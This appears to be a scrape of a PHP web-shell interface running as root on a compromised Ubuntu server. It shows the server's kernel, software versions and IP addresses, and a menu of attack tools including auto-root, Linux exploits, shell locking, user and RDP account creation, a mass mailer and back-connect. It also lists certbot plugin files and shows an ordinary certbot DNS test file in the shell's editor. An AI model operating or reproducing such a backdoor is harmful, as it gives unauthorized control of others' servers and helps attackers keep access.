Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
certbot /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
30
B
-rw-r--r--
common.py
16.9
KB
-rw-r--r--
common_test.py
16.53
KB
-rw-r--r--
disco.py
9.92
KB
-rw-r--r--
disco_test.py
11.34
KB
-rw-r--r--
dns_common.py
11.7
KB
-rw-r--r--
dns_common_lexicon.py
5.39
KB
-rw-r--r--
dns_common_lexicon_test.py
651
B
-rw-r--r--
dns_common_test.py
8.25
KB
-rw-r--r--
dns_test_common.py
1.61
KB
-rw-r--r--
dns_test_common_lexicon.py
5.48
KB
-rw-r--r--
enhancements.py
5.58
KB
-rw-r--r--
enhancements_test.py
2.36
KB
-rw-r--r--
manual.py
10.6
KB
-rw-r--r--
manual_test.py
7.37
KB
-rw-r--r--
null.py
1.34
KB
-rw-r--r--
null_test.py
624
B
-rw-r--r--
selection.py
13.55
KB
-rw-r--r--
selection_test.py
7.76
KB
-rw-r--r--
standalone.py
11.36
KB
-rw-r--r--
standalone_test.py
9.26
KB
-rw-r--r--
storage.py
4.08
KB
-rw-r--r--
storage_test.py
5.37
KB
-rw-r--r--
util.py
1.7
KB
-rw-r--r--
util_test.py
1.61
KB
-rw-r--r--
webroot.py
11.9
KB
-rw-r--r--
webroot_test.py
11.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dns_test_common.py
"""Base test class for DNS authenticators.""" import os import configobj import josepy as jose import mock import six from acme import challenges from certbot import achallenges from certbot.tests import acme_util from certbot.tests import util as test_util DOMAIN = 'example.com' KEY = jose.JWKRSA.load(test_util.load_vector("rsa512_key.pem")) class BaseAuthenticatorTest(object): """ A base test class to reduce duplication between test code for DNS Authenticator Plugins. Assumes: * That subclasses also subclass unittest.TestCase * That the authenticator is stored as self.auth """ achall = achallenges.KeyAuthorizationAnnotatedChallenge( challb=acme_util.DNS01, domain=DOMAIN, account_key=KEY) def test_more_info(self): # pylint: disable=no-member self.assertTrue(isinstance(self.auth.more_info(), six.string_types)) def test_get_chall_pref(self): # pylint: disable=no-member self.assertEqual(self.auth.get_chall_pref(None), [challenges.DNS01]) def test_parser_arguments(self): m = mock.MagicMock() # pylint: disable=no-member self.auth.add_parser_arguments(m) m.assert_any_call('propagation-seconds', type=int, default=mock.ANY, help=mock.ANY) def write(values, path): """Write the specified values to a config file. :param dict values: A map of values to write. :param str path: Where to write the values. """ config = configobj.ConfigObj() for key in values: config[key] = values[key] with open(path, "wb") as f: config.write(outfile=f) os.chmod(path, 0o600)
Close